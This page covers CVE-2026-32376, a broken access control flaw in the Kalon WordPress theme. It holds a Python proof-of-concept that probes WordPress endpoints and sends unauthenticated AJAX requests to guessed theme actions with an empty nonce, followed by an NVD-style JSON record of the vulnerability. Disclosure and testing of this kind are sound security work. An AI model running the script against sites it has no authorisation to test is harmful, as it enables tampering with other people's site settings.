CVE-2026-32376

# CVE-2026-32376 PoC - Kalon Theme Broken Access Control # Affected: Kalon Theme <= 1.2.9 import requests import sys TARGET = "http://target-wordpress-site.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2026-32376""" # Try to access potentially unprotected endpoints vulnerable_endpoints = [ f"{TARGET}/wp-admin/admin-ajax.php", f"{TARGET}/wp-json/wp/v2/settings", f"{TARGET}/wp-admin/options.php", ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", } print("[*] Testing for Missing Authorization vulnerability...") for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) # Check if response indicates unauthorized access succeeded if response.status_code == 200: print(f"[+] Potential vulnerable endpoint found: {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for sensitive data exposure if "option_page" in response.text or "kalon" in response.text.lower(): print("[!] Sensitive configuration data may be exposed!") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] Basic checks completed. Manual verification recommended.") return False def exploit_unauthorized_access(): """Attempt to exploit the authorization bypass""" # Common AJAX actions in Kalon theme that may lack authorization ajax_actions = [ "kalon_save_settings", "kalon_update_option", "kalon_modify_theme_options", "kalon_ajax_handler", ] print("[*] Testing AJAX endpoints for missing authorization...") for action in ajax_actions: data = { "action": action, "nonce": "", # Try without nonce } try: response = requests.post( f"{TARGET}/wp-admin/admin-ajax.php", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10 ) if response.status_code == 200 and "success" in response.text.lower(): print(f"[!] Action '{action}' may be exploitable without authorization!") print(f"[!] Response: {response.text[:200]}") except requests.RequestException: pass if __name__ == "__main__": print("=" * 60) print("CVE-2026-32376 PoC - Kalon Theme Authorization Bypass") print("=" * 60) if len(sys.argv) > 1: TARGET = sys.argv[1] check_vulnerability() exploit_unauthorized_access() print("\n[*] For detailed testing, use browser developer tools to inspect AJAX requests.") print("[*] Check for missing capability checks in theme source code.")

{"cve": {"id": "CVE-2026-32376", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:52.267", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in raratheme Kalon kalon allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Kalon: from n/a through <= 1.2.9."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en raratheme Kalon kalon permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Kalon: desde n/a hasta &lt;= 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kalon/vulnerability/wordpress-kalon-theme-1-2-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}